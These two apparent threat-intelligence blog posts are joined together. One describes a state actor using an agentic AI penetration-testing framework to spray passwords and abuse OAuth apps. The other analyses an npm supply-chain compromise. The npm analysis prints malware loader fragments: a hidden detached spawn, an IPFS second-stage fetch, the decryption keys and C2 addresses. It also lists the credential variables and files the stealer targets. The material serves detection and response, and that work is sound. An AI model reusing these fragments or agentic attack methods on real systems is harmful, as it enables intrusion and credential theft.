As early as September 2026, Storm-0940, a China-state aligned actor, used the agentic AI penetration testing framework ARTEX to automate attacks targeting hundreds of organizations globally across a broad range of industries. Several of these Storm-0940 ARTEX-driven attacks have resulted in the actor obtaining privileged access to an organization’s cloud infrastructure – including multiple instances where the time from initial targeting to privileged access was less than 3 hours. Microsoft assesses that Storm-0940 was responsible for the recently disclosed ConnectWise supply chain compromise of a multi-tenant application.

This activity demonstrates how threat actors are integrating agentic AI into existing offensive security workflows and allows them to scale their operations exponentially. Agents are not constrained by factors affecting humans – they can work around the clock, on weekends, and on holidays and attempt multiple breach paths simultaneously enabling significantly reduced time from selecting a target to achieving objectives, increasing the speed and impact of complex attacks like supply chain compromises.

Storm-0940’s use of ARTEX accelerated the speed of compromised application abuse to authenticate to Microsoft 365 customer environments through applications that had already been granted access. This allowed the threat actor to operate without requiring an interactive user sign-in. In multiple affected environments, Microsoft observed AI-accelerated follow-on activity through Microsoft Graph, including reconnaissance, application credential changes, and attempts to modify privileges that could enable expanded or persistent access. The activity conducted by the threat actor through the usage of ARTEX framework did not result from a compromise of or a vulnerability in Microsoft corporate systems, products, or services.

Although Microsoft identified Storm-0940-initiated authentication and follow-on activity in multiple customer environments, the presence of an affected application or successful threat actor authentication does not necessarily indicate that customer data was accessed or exfiltrated. Microsoft Defender XDR provides detections and hunting queries for suspicious Microsoft Graph activity and activity associated with known threat infrastructure. Customers should review service principal sign-ins, investigate unexpected application credential or privilege changes, and follow ConnectWise’s published containment guidance while preserving relevant evidence for investigation. For a full list of detections please see the detections section.

What’s happening

Storm-0940 is a China-state aligned actor (with no known industry aliases) that has been active since 2021 and targets organizations across multiple industries for data theft. The actor has historically gained initial access using password spraying and exploitation of internet-facing applications, before using compromised accounts to move through targeted environments. In cloud environments, the actor has also established persistence by adding credentials to existing OAuth applications, allowing continued access to Microsoft 365 resources. The actor has used these applications to access and exfiltrate email and other data through Microsoft Graph.

As early as September 2026, Storm-0940 used the agentic AI penetration testing framework ARTEX to automate attacks targeting hundreds of organizations globally across a broad range of industries. These include aerospace and defense, automotive, chemicals, energy, financial services, government, legal, manufacturing, media, military, semiconductor, software, technology, and think tanks and non-profits. During the ConnectWise supply chain compromise, Storm-0940 used ARTEX to accelerate scanning and reconnaissance, password spraying, and OAuth application abuse at downstream victims.

Several of these Storm-0940 ARTEX-driven attacks have resulted in the actor obtaining privileged access to an organization’s cloud infrastructure – including multiple instances where the time from initial targeting to privileged access was less than 3 hours. When automated with AI, these activities generate a large volume of traffic and log data that may generate alerts. However, the speed of the activity allows very little time for Defenders to respond to those alerts and remediate the actor’s access in a coordinated fashion. Storm-0940’s activity illustrates how a threat actor with a broad target set can use an agentic AI tool and privileged authentication material to quickly attempt to compromise many organizations. While the majority of the targeting wasn’t successful, Storm-0940 achieved privileged cloud persistence at many organizations in a brief time.

What is ARTEX?

ARTEX is an open-source penetration testing framework that can use any AI model to automate a variety of offensive security workflows. The ARTEX framework is a multi-agent LLM system written in GO with a Next.js frontend. While the UI and generated output default to English, the framework can be switched to Korean, Mandarin, Spanish, or Japanese. ARTEX is a system of LLM-driven agents that run an autonomous penetration test from reconnaissance through data exfiltration with little needed human interaction. The agents then accumulate the discovered assets and vulnerabilities into a graph during the penetration test. In October 2026, public reporting noted that the ARTEX framework was being used by threat actors, such as the personal data breaches targeting Korean financial institutions. Microsoft Threat Intelligence has identified threat actors across multiple geographic regions leveraging the ARTEX framework.

ConnectWise published an initial advisory on October 16, 2026, and subsequently expanded its disclosures and containment guidance. The advisory details ConnectWise’s investigation of attempted unauthorized access associated with Cloud Backup. Following the unauthorized access, Storm-0940 used ARTEX to attempt to sign-in to more than 2,250 tenants at 2,900 sign-in attempts per minute, a pace that leaves defenders with little time to detect and respond. While OAuth application abuse is a typical part of Storm-0940’s toolset, in this case the actor used ARTEX to accelerate the activity to machine speed.

Password Spraying

Between October 10 and 14, 2026, Storm-0940 infrastructure at 144.172.64[.]99 conducted an automated cross-tenant password-spray campaign targeting 327 accounts across eight organizations to gain access to Microsoft 365 and Exchange Online. During this large campaign, Microsoft telemetry captured 151,000+ failed logon events, with activity peaking on October 11 at 2,900 failures per minute and concentrating more than 111,000 failures into a single day. The campaign blended broad, low-rate account spraying with sustained, high-volume authentication attempts against selected identities; 48 accounts received more than 1,000 failures, and lockout responses represented nearly 98% of all activity. Despite the scale, no successful authentication, token issuance, Graph call, or directory change was observed.

Downstream customer access

On October 15, immediately after this notable activity, public reports of the compromise of the popular cloud backup application ConnectWise started to surface with direct references to indicators of compromise matching the same network range observed for the earlier password-spray campaign (144.172.64.x). An advisory from the affected cloud backup vendor posted on October 16 shared later additional indicators with one IP address matching exactly the 144.172.64[.]99 infrastructure responsible for the earlier password-spray campaign.

Additionally, after acquiring control of the identities of multiple ConnectWise cloud applications, the AI agents operating on behalf of the threat actor continued to use the same IP range to authenticate to customer environments using the illicit access acquired through these stolen app credentials, effectively taking advantage of the already established trust by these apps within a tenant. In some of these environments, the AI agents (on behalf of the threat actor) progressed beyond authentication to Microsoft Graph and directory operations, including reconnaissance, application credential modifications to establish persistence, and changes involving identities, groups, and privileged roles. Microsoft identified multiple customer environments with evidence of follow-on activity, highlighting how a compromised third-party application with high privileges could provide access beyond its originally intended purpose.

The application credential modification made by Storm-0940’s associated agents in the targeted victims’ environments can lead to persistence through other identities, credentials, and cloud services. These changes can remain active as a backdoor even after the original compromised application is mediated. Organizations should examine service principal sign-ins alongside subsequent Microsoft Graph activity, directory changes, and resource access, correlating suspicious events with authorized administrative activity. The presence of an affected application, or even successful authentication, does not necessarily indicate unauthorized data access or data exfiltration.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

Immediate actions

• Keep affected ConnectWise application connections disabled until ConnectWise provides formal restoration instructions.
• Do not delete enterprise applications as the first response. Preserve configuration and evidence before making irreversible changes.
• Inventory all four application IDs listed in this profile and record the local service-principal Object ID in each tenant.
• Review every Microsoft 365 tenant where the affected applications are currently or were previously installed or authorized, even if the integration is no longer in use. Search by application ID rather than display name.
• Preserve available Microsoft Entra sign-in and audit records, Microsoft Purview Audit records, SIEM data, and previously configured Microsoft Graph telemetry. Do not delay urgent containment while waiting for exports.
• Review activity starting from at least October 15, 2026. Where records are available, extend service-principal sign-in review to October 1 and investigate earlier related activity, including failed authentications and volume anomalies.
• Review successful and failed service-principal sign-ins separately. Investigate unfamiliar sources and activity outside expected vendor infrastructure; do not limit review to the published IPs.
• Review Microsoft Entra audit records for application or service-principal credential additions; new applications, service principals, or owners; app-role assignments and consent grants; privileged role assignments; and changes to users, groups, authentication methods, or Conditional Access. On confirmed suspicious activity, revoke unnecessary permissions and rotate credentials.
• Review Microsoft 365 audit records to look for reconnaissance activities like listing directories, permissions, and approvals coming from unusual IPs.
• Review Microsoft 365 audit records for unusual mail or file access, downloads, forwarding, inbox or transport rules, delegated mailbox permissions, and related resource activity.
• Preserve evidence, then have an appropriately authorized responder remove confirmed unauthorized credentials, grants, owners, assignments, and identities.

Additional recommendations

• Threat actor misuse of AI accelerates risk across enterprise environments by amplifying existing threats such as exploitation of vulnerabilities, phishing, malware threats, and insider activity. To help organizations stay ahead of AI-enabled threat activity, Microsoft has introduced the Security Dashboard for AI. The dashboard provides users with a unified view of AI security posture by aggregating security, identity, and data risk across Microsoft Defender, Microsoft Entra, and Microsoft Purview. This allows organizations to understand what AI assets exist in their environment, recognize emerging risk patterns, and prioritize governance and security across AI agents, applications, and platforms. To learn more about the Microsoft Security Dashboard for AI see: Assess your organization’s AI risk with Microsoft Security Dashboard for AI (Preview).
• Enable threat protection for AI services in Microsoft Defender for Cloud to identify threats to generative AI applications in real time and for assistance in responding to security issues.
• Apply least privilege to multi-tenant application permissions and consent grants.
• Monitor credential additions, privilege assignments, and anomalous app-only activity, especially to applications with high privileged permissions and scopes.
• Verify that vendor credential rotation and any tenant-level remediation eliminated remaining unauthorized access.

Assess the operational effect on backup and restore workflows and follow current ConnectWise restoration guidance.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender for Cloud Apps detections

Microsoft Defender for Cloud (Microsoft Defender for Key Vault)

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR Threat analytics

Activity Profile: ConnectWise Cloud Backup credential abuse: assessment and response guidance

Indicators of compromise (IOC)

Advanced hunting

NOTE: The following sample queries let you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential indicators related to this campaign for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Microsoft Defender XDR advanced hunting

1- OAuthAppInfo → Is the affected app present, enabled, and what permissions does it hold?

Start with OAuthAppInfo to determine whether any of the affected ConnectWise applications are present in the tenant and understand the access they have been granted. The query identifies the application and its tenant-specific service principal, whether it is enabled, its privilege level, consent information, and the individual permissions assigned to it.

This establishes the customer’s potential exposure and gives investigators the ServicePrincipalId needed for further hunting. A match does not mean the application was abused, only that it is present and potentially had access, so the next step is to determine whether the service principal was actually used. Run query

let ConnectWiseApps = dynamic([
    "506e08f9-6e9a-4da4-942b-a099a03644ae", // ConnectWise Cloud Backup
    "24205314-2b89-4e07-a2a4-579e898a5640", // ConnectWise - MS Teams
    "0de14c77-b9b0-4137-9360-34878a929827" // ConnectWise - MS Graph 
]);
OAuthAppInfo
| where OAuthAppId in (ConnectWiseApps)
| mv-expand Permission = Permissions
| extend
    PermissionName = tostring(Permission.PermissionName),
    TargetApp = tostring(Permission.TargetAppDisplayName),
    TargetAppId = tostring(Permission.TargetAppId),
    PermissionType = tostring(Permission.PermissionType),
    PermissionPrivilegeLevel = tostring(Permission.PrivilegeLevel),
    UsageStatus = tostring(Permission.UsageStatus)
| project
    AppName,
    OAuthAppId,
    ServicePrincipalId,
    AppStatus,
    PrivilegeLevel,
    IsAdminConsented,
    PermissionName,
    PermissionType,
    PermissionPrivilegeLevel,
    TargetApp,
    TargetAppId,
    UsageStatus
| order by AppName asc, PermissionPrivilegeLevel desc

2 – EntraIdSpnSignInEvents + GraphAPIAuditEvents → Did the service principal authenticate, and what Microsoft Graph activity followed?

Use this query to investigate service-principal sign-ins and Microsoft Graph API activity associated with the identified ConnectWise applications and suspicious IP addresses, starting October 13, 2026.

The query combines both event types into a chronological view, helping defenders identify suspicious authentication and related Graph operations, including potential credential changes, privilege modifications, and unusual resource access. Remove the IP filter for broader hunting. Results require further correlation, as authentication alone does not establish compromise. Run query

let Apps = dynamic([
    "506e08f9-6e9a-4da4-942b-a099a03644ae",
    "24205314-2b89-4e07-a2a4-579e898a5640",
    "0de14c77-b9b0-4137-9360-34878a929827"   
]);
let IPs = dynamic(["144.172.64.60", "144.172.64.99", "144.172.64.128"]);
union kind=outer
    (EntraIdSpnSignInEvents
     | extend EventType = "Sign-in"),
    (GraphAPIAuditEvents
     | extend EventType = "Graph API", IPAddress = IpAddress)
| where Timestamp >= datetime(2026-10-13)
| where ApplicationId in (Apps)
| where IPAddress in (IPs) // Comment out for broader hunting
| project-away IpAddress
| order by Timestamp asc

3 – Bulk Key Vault secret reads by a single identity across multiple vaults

Run query

CloudKeyVaultEvents
| where Timestamp > ago(14d)
| where ActivityName == "SecretGet" and HttpStatusCode == 200
| summarize SecretGets = count(), VaultCount = dcount(AzureResourceId),
   IPs = make_set(IPAddress, 20)
   by bin(Timestamp, 15m), AccountObjectId, AccountTenantId
| where SecretGets >= 20 and VaultCount >= 3

4 – Key Vault, Storage and ARM activity from the IOC IPs

Run query

let IPs = dynamic(["144.172.64.128","144.172.64.60","144.172.64.99"]);
union
 (CloudKeyVaultEvents | where IPAddress in (IPs) | extend Source = "KeyVault", Operation = ActivityName),
 (CloudStorageAggregatedEvents | where IPAddress in (IPs) | extend Source = "Storage", Operation = tostring(OperationNamesList)),
 (CloudAuditEvents | where IPAddress in (IPs) | extend Source = "ARM", Operation = OperationName)
| where Timestamp > ago(30d)
| project Timestamp, Source, IPAddress, Operation, AzureResourceId
| order by Timestamp asc

Sentinel hunting queries

1-SigninLogs → Did a service principal authenticate, from where, and against what resource?

Use SigninLogs to determine whether an affected application identity actually authenticated. This moves the investigation from potential exposure to observed authentication, allowing defenders to examine the application and service principal alongside the source IP address, geographic information, authentication result, and resource being accessed. Investigators should evaluate these sign-ins against the application’s expected activity and look for unusual source infrastructure, resources, or authentication patterns before pivoting into subsequent Graph activity. Run query

let IPIndicators = dynamic([
    "144.172.64.60",  // IP Indicator
    "144.172.64.99",  // IP Indicator
    "144.172.64.128"  // IP Indicator
]);
let ConnectWiseApps = dynamic([
    "506e08f9-6e9a-4da4-942b-a099a03644ae", // ConnectWise Cloud Backup
    "24205314-2b89-4e07-a2a4-579e898a5640", // ConnectWise - MS Teams
    "0de14c77-b9b0-4137-9360-34878a929827" // ConnectWise - MS Graph 
]);
SigninLogs
| where TimeGenerated >= datetime(2026-10-13)
| where AppId in (ConnectWiseApps)
//| where IPAddress in (IPIndicators) // Comment out to review all activity from these applications
| project
    TimeGenerated,
    AppId,
    ServicePrincipalName,
    ResourceDisplayName,
    ResourceId,
    IPAddress,
    CorrelationId
| order by TimeGenerated asc

2 – MicrosoftGraphActivityLogs → What observable Graph API activity followed?

Use MicrosoftGraphActivityLogs to investigate observable Microsoft Graph activity following authentication. This query allows defenders to pivot on the affected ApplicationId or tenant-specific ServicePrincipalId and examine details such as the request URI, HTTP method, response status, scopes, source IP address, and target workload. This helps establish what Graph activity occurred after the service principal authenticated and provides additional context around the resources the application attempted to access.

Importantly, the absence of results should not be treated as confirmation that no access occurred; Graph API telemetry should be considered alongside the application permissions and service principal authentication activity identified in the previous hunting steps. Run query

let IPIndicators = dynamic([
    "144.172.64.60",  // IP Indicator
    "144.172.64.99",  // IP Indicator
    "144.172.64.128"  // IP Indicator
]);
let ConnectWiseApps = dynamic([
    "506e08f9-6e9a-4da4-942b-a099a03644ae", // ConnectWise Cloud Backup
    "24205314-2b89-4e07-a2a4-579e898a5640", // ConnectWise - MS Teams
    "0de14c77-b9b0-4137-9360-34878a929827" // ConnectWise - MS Graph 
]);
MicrosoftGraphActivityLogs 
| where TimeGenerated >= datetime(2026-10-13)
| where AppId in (ConnectWiseApps)
| where IPAddress in (IPIndicators) // Comment out to review all Graph activity from these applications
| project
    TimeGenerated,
    AppId,
    IPAddress,
    RequestMethod,
    RequestUri,
    ResponseStatusCode,
    Scopes,
    ClientRequestId,
    OperationId,
    RequestId
| order by TimeGenerated asc

MITRE ATT&CK Techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Reconnaissance

• T1595 Active Scanning | Scanning cloud resources to identify targets for compromise.

Initial Access

• T1078.004 Valid Accounts: Cloud Accounts | Using compromised cloud accounts to obtain access.
• T1195 Supply Chain Compromise | Compromising a multi-tenant OAuth application to access downstream customer environments.
• T1199 Trusted Relationship | Access to customer environments through a compromised, trusted third-party application

Privilege Escalation

• T1098.003 Account Manipulation: Additional Cloud Roles | Addition of privileged cloud role assignments, including self assignment of global admin from one of the ConnectWise Management Application.
• T1098.001 Account Manipulation: Additional Cloud Credentials | Addition or modification of application credentials.

Credential Access

• T1528 Steal Application Access Token | Compromising OAuth application authentication material.
• T1555.006 Cloud Secrets Management Stores | Bulk secret reads from Azure Key Vaults

Discovery

• T1087.004 Account Discovery: Cloud Account | Identifying privileged cloud accounts for further targeting.
• T1580 Cloud Infrastructure Discovery | Mapping cloud infrastructure for further targeting.

References

• ConnectWise (SkyKick) Vendor Credentials Abused in M365 Attacks. Huntress
• ConnectWise Trust Center – Cloud Backup advisories. ConnectWise (accessed 2026-10-19).
• ConnectWise Cloud Backup technical investigation and remediation guide. ConnectWise (accessed 2026-10-19).

Learn more

• For guidance on investigating and responding to compromised applications, see Compromised and malicious applications investigation.
• Learn how to investigate app-only authentication with Service principal sign-in logs.
• Review application credentials, permissions, role assignments, and configuration changes in Microsoft Entra security operations for applications.
• Learn how to proactively investigate threats with Advanced hunting in Microsoft Defender XDR.
• Explore the OAuthAppInfo and GraphAPIAuditEvents advanced hunting tables.
• Learn how to find Microsoft 365 activity with Search the audit log.
• Review guidance for reducing excessive application permissions in Secure applications using least privilege.
• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise appeared first on Microsoft Security Blog.

On July 14, 2026, Microsoft Threat Intelligence identified a coordinated supply chain compromise of the @asyncapi npm organization, a widely used set of packages for the AsyncAPI specification and code generation. Five package versions across four package names were republished within roughly ninety minutes, each carrying the same maliciously injected loader: @asyncapi/specs (in both the 6.11.2-alpha.1 prerelease and 6.11.2 stable release), @asyncapi/generator@3.3.1, @asyncapi/generator-components@0.7.1, and @asyncapi/generator-helpers@1.1.1.

Because @asyncapi/specs is a transitive dependency of numerous AsyncAPI tooling packages, this attack affected developer workstations, CI/CD pipelines, container builds, or production services that resolved and imported the affected versions during the exposure window. Unlike the more common postinstall-hook supply-chain pattern, this campaign executes at module-load (import/require) time. When any consuming build or application imports a poisoned package, the injected block runs immediately. Because the trigger is an import rather than an install script, the common npm install –ignore-scripts mitigation does not neutralize it. The second stage decrypts and evaluates a Miasma modular runtime with active command and control (C2), persistence, and decentralized fallback channels. Although disabled in this instance, credential-harvesting, propagation, and additional high-risk modules could be enabled through persistence.

Microsoft Defender Antivirus detects and blocks malicious artifacts as Trojan:JS/MiasmStealer.SC  and Trojan:Script/Supychain.A. Microsoft Defender for Endpoint provides behavioral coverage for the suspicious detached Node.js process spawn, IPFS retrieval, and persistence activity. Organizations should immediately remove all five affected versions, purge npm and Yarn caches, hunt for sync.js under the NodeJS masquerade directories, block outbound connections to 85.137.53[.]71 on ports 8080, 8081, and 8091, and rotate all credentials accessible from any environment that imported the compromised packages. Detailed hunting queries, indicators of compromise, and mitigation guidance are provided in the succeeding sections.

Attack chain overview

The compromise originated from a pwn request against asyncapi/generator. A misconfigured GitHub Actions workflow (pull_request_target) executed attacker-controlled pull-request (PR) code, exposed the asyncapi-bot personal access token (PAT), and enabled unauthorized pushes to auto-publish branches. The legitimate GitHub Actions OpenID Connect (OIDC) release workflows then published the poisoned packages under the automated identity npm-oidc-no-reply@github[.]com, producing artifacts with valid provenance signatures built from unauthorized source commits.

The campaign progressed through six phases, shown in Figure 1:

1. Pipeline compromise. The attacker exploited a vulnerable GitHub Actions workflow to steal a privileged bot token.
2. Code injection. Heavily obfuscated loaders were inserted into one source file per package.
3. Staged release. An alpha prerelease was followed by a stable release 24 minutes later, with a byte-identical payload, expanding blast radius.
4. Delivery. Consumers pulled poisoned versions through normal npm and Yarn dependency resolution; –ignore-scripts was not effective.
5. Import-time execution. require() or import triggered the malicious main(), which spawned a hidden detached child process.
6. IPFS second-stage fetch. The child downloaded sync.js from IPFS and wrote it to an OS-specific “NodeJS” masquerade directory.

The Miasma runtime provided encrypted bootstrap, persistence, C2 communication, data return paths, and resilient discovery via Nostr, Ethereum, BitTorrent DHT, libp2p, and IPFS. Six additional capability modules (credential harvest, encrypted exfiltration, supply-chain propagation, metamorphic generation, AI-tool poisoning, and sandbox evasion) were implemented but disabled in this build.

How the attack started: GitHub Actions pwn request

The attack chain began with a malicious pull request targeting the asyncapi/generator repository’s docs-preview automation. Opened as PR #2155, it carried the attacker-controlled commit 47be388, timestamped 05:08:58 UTC on July 14. The associated Docs Preview (Netlify) workflow started at 05:11:05 UTC.. Although the PR and source fork were later removed, the workflow record remains available.

The pull request PR #2155 targeted manual-netlify-preview.yml, which combined two unsafe choices: it used pull_request_target, placing the job in the base repository’s security context, and it checked out the pull request’s untrusted head commit. The run had a broadly privileged GITHUB_TOKEN, checkout credentials persisted in the local Git configuration until post-job cleanup (the default behavior of actions/checkout), and steps that referenced repository secrets.

The submitted MDX contained code was designed to retrieve JavaScript from rentry[.]co/elzotebo999 and evaluate the response. The public log confirms that the malicious commit was processed by the privileged workflow, but it does not show whether the rentry[.]co web request succeeded or whether a credential was stolen. Later push records identify asyncapi-bot as the authenticated actor. Together, these records establish that the vulnerable workflow ran before the bot-authenticated pushes, but they do not establish how the credential was obtained.

The underlying workflow weakness had been identified before the compromise. On April 29, a proof-of-concept examined whether untrusted pull-request content could be executed in the privileged docs-preview workflow. A May 17 proposal then sought to separate untrusted build activity from steps that received repository secrets and was still under review when the incident occurred.

Trusted publishing became the delivery mechanism

Once the attacker could push commits as asyncapi-bot, there was no need to compromise npm or construct a separate publishing channel. The attacker could ride the project’s normal release path and let its trusted pipeline do the distribution. Commit 3eab3ec carries a timestamp of 06:58:42 UTC, while a surviving push-triggered workflow started at 07:05:42 UTC. Its message, “fix: test release workflow on next”, matched the release workflow’s commit-message condition. The legitimate release-with-changesets.yml workflow then published three poisoned packages at approximately 07:10 UTC.

A closely linked compromise subsequently affected asyncapi/spec-json-schemas. The malicious lineage first triggered workflows on alpha between 07:56 and 08:04 UTC. The same malicious commit was later pushed to master at approximately 08:14 UTC, followed by a child commit at 08:28 UTC. The legitimate if-nodejs-release.yml workflow published @asyncapi/specs@6.11.2-alpha.1 at 08:06 UTC and @asyncapi/specs@6.11.2 at 08:30 UTC.

All five malicious versions were published through npm trusted publishing using GitHub OIDC and carried valid provenance attestations. The attestations accurately identified the legitimate repositories, commits, and workflows that created the packages, even though the triggering commits were unauthorized.

The payload operates in multiple stages, each designed to increase evasion and ensure resilient execution. Stage 0 establishes stealth by declaring no npm lifecycle hooks. Stage 1 executes the loader at require-time and spawns a hidden child process. Stage 1b deobfuscates the IPFS fetch logic and downloads sync.js. Stage 2 decrypts the ~8.2 MB encrypted bundle through three cryptographic layers. Stage 3 initializes the full Miasma modular runtime with C2, persistence, and decentralized fallback channels.

Stage 0: No lifecycle hooks declared

The absence of lifecycle hooks is a deliberate evasion choice. Security tooling that focuses on preinstall/postinstall auditing will not flag these packages. All affected packages declared no preinstall, install, or postinstall hooks in package.json. This bypassed hook-focused scanners and left import-time execution as the real trigger path.

Stage 1: Import-time loader

The loader executes the moment any application imports the compromised module; no user action beyond dependency resolution is required. The attacker placed the same bootstrap pattern in each package’s exported entry path, so normal application startup would trigger execution automatically.

• @asyncapi/specs → index.js
• @asyncapi/generator → lib/templates/config/validator.js
• @asyncapi/generator-helpers → src/utils.js
• @asyncapi/generator-components → lib/utils/ErrorHandling.js

spawn('node', [payloadPath], {
   detached: true,
   stdio: 'ignore',
   windowsHide: true,
 }).unref();

Stage 1b: IPFS fetch

The inner payload reveals hard-coded IPFS content identifiers and OS-aware drop logic. This intermediate stage reconstructs the transport routine at runtime, so the larger second stage never appears in cleartext in the published package.

const FILE_URL = 'hxxps://ipfs[.]io/ipfs/';
 const FILE_NAME = 'sync.js';
 function getTargetDirectory() {
   if (process.platform === 'win32') return '%LOCALAPPDATA%\NodeJS';
   if (process.platform === 'darwin') return '~/Library/Application Support/NodeJS';
   if (process.platform === 'linux') return '~/.local/share/NodeJS';
   return '~/.config/NodeJS';
 }

Stage 2: Encrypted payload (sync.js)

Despite appearing cryptographically sophisticated, the entire decryption chain uses static embedded key material, meaning the runtime can be recovered offline without execution. The layered design primarily increases analyst effort; every secret required to unwrap the bundle ships inside the loader.

• sync.js is ~8.2 MB; all key material is static and embedded.
• HKDF-SHA256 uses master string rt-vault-master-key-32b-aaaaaaaa and info string rt-file-key.
• AES-256-GCM uses IV = first 12 bytes and auth tag = last 16 bytes of the blob.
• The decrypted string is ROT-94de-rotated and then executed with eval().

Stage 3: Miasma runtime

The  runtime is a command framework identified as M-RED-TEAM v6.4 with campaign configuration miasma-train-p1. In this build’s configuration, persistence and C2 are active, but data collection and propagation modules remain dormant. The runtime supports traditional remote access trojan (RAT) commands, including directory listing, file retrieval, file upload, remote shell execution, proxying, and data exfiltration. Persistence is installed through platform-specific mechanisms: a Windows HKCU Run key (miasma-monitor), a Linux systemd user unit (miasma-monitor.service), and macOS shell RC injection (.zshrc, .bashrc, or .bash_profile).

• Recovered identifiers: M-RED-TEAM v6.4, miasma-train-p1, and miasma-test-org.
• Persistence: Win HKCU Run value miasma-monitor, Linux miasma-monitor.service, and macOS user-space shell/launch persistence.
• Primary endpoints: 85.137.53[.]71:8080 (C2), 85.137.53[.]71:8081 (upload), 85.137.53[.]71:8091 (management).
• Fallback channels include Nostr, Ethereum, BitTorrent DHT, libp2p, and IPFS.
• Disabled in the analyzed build: recon, propagation, AI-poisoning, metamorphic generation, and evasion.

Credential harvesting (disabled in this build)

The framework contains broad credential-access code targeting secrets across major platforms that a developer or continuous integration and continuous delivery (CI/CD) system might access, including browser-saved passwords from multiple browsers.

The framework targets over 100 environment variable names across source control (GITHUB_TOKEN, GITLAB_TOKEN), npm (NPM_TOKEN, NODE_AUTH_TOKEN), AWS (AWS_ACCESS_KEY, AWS_SECRET_ACCESS_KEY), Azure (AZURE_CLIENT_SECRET), GCP (GCLOUD_SERVICE_KEY), container/Kubernetes (DOCKER_TOKEN, K8S_AUTH_TOKEN), secrets managers (DOPPLER_TOKEN, VAULT_TOKEN), and AI platforms (ANTHROPIC_API_KEY, OPENAI_API_KEY).

Credential files targeted from disk include .npmrc (npm tokens), .aws/credentials (AWS keys), kubeconfig (Kubernetes API), id_rsa/id_ed25519 (SSH keys), .vault-token (HashiCorp Vault), .netrc (Git/HTTPS auth), .docker/config.json (Docker registry), and google_credentials.json (GCP service accounts). When a GITHUB_TOKEN is available, the framework can enumerate accessible repositories and CI/CD context through GitHub APIs.

Mitigation and protection guidance

Review dependency trees, lockfiles, artifact repositories, and CI caches for the five compromised versions, including transitive references.

Pin known-good versions: @asyncapi/specs 6.11.1 or earlier, @asyncapi/generator 3.3.0, @asyncapi/generator-components 0.7.0, and @asyncapi/generator-helpers 1.1.0.

Do not rely on npm install –ignore-scripts as a mitigation; this campaign executes when the module is imported, not through a lifecycle hook.

Purge npm and yarn caches on affected developer endpoints and build hosts, especially if the compromised tarballs were written into shared CI caches.

Hunt for sync.js and the NodeJS masquerade directory on endpoints, and investigate any detached Node.js execution that references the IPFS CID or the sync.js file name.

Block or alert on retrieval of the specific IPFS CID and monitor for network connections to 85.137.53[.]71 on ports 8080, 8081, and 8091.

Rotate credentials and secrets from a clean host if a build system or workstation imported a compromised version, because second-stage execution can expose tokens and build integrity.

Ensure that Microsoft Defender Antivirus cloud-delivered protection, Microsoft Defender for Endpoint telemetry, and Microsoft Defender XDR investigation workflows are enabled across developer and CI assets.

Update to NPM CLI to npm CLI v11.10.0+ or Use the NPM CLI min-release-age feature.

Organizations that do not rely on IPFS for business operations can reduce their attack surface by blocking public IPFS gateways (ipfs.io, dweb.link, cloudflare-ipfs.com, and others) at the network perimeter. This proactive measure removes an increasingly common payload delivery channel used in supply chain campaigns without affecting standard development workflows.

Organizations that produce software artifacts should also review their own release hardening. Because this incident appears consistent with CI/CD pipeline abuse through GitHub Actions OIDC publishing, defenders should review token scopes, workflow approvals, protected environments, release provenance, and anomaly detection around automated package publication. Supply chain response cannot stop at host triage; it must also include verification that the release process itself has not been subverted.

After remediation, validate recovery deliberately. Rebuild affected projects from a known-good dependency baseline, confirm that compromised hashes are absent from package caches and artifact stores, and review endpoint telemetry for any lingering sync.js, NodeJS directory artifacts, or suspicious node child processes. For development organizations that share base images or golden build runners, rebuild those images as well so future jobs do not silently inherit poisoned caches or post-compromise persistence.

Indicators of compromise

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Advanced hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Persistence drop and detached spawn

// Query 1: sync.js dropped under a NodeJS directory or related detached execution
 union isfuzzy=true
 (
 DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "sync.js" and ProcessCommandLine contains_cs "NodeJS")
     or ProcessCommandLine has "Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf"
 | project Timestamp, DeviceName, Evidence = ProcessCommandLine, Initiator = InitiatingProcessCommandLine, EventType = "Process"
 ),
 (
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FileName == "sync.js" and FolderPath contains_cs "NodeJS"
 | project Timestamp, DeviceName, Evidence = strcat(FolderPath, "\\", FileName), Initiator = InitiatingProcessFileName, EventType = "File"
 )

IPFS CID retrieval

// Query 2: outbound retrieval of the IPFS second stage
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "ipfs.io"
| where RemoteUrl has "Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName

Poisoned package artifacts in caches

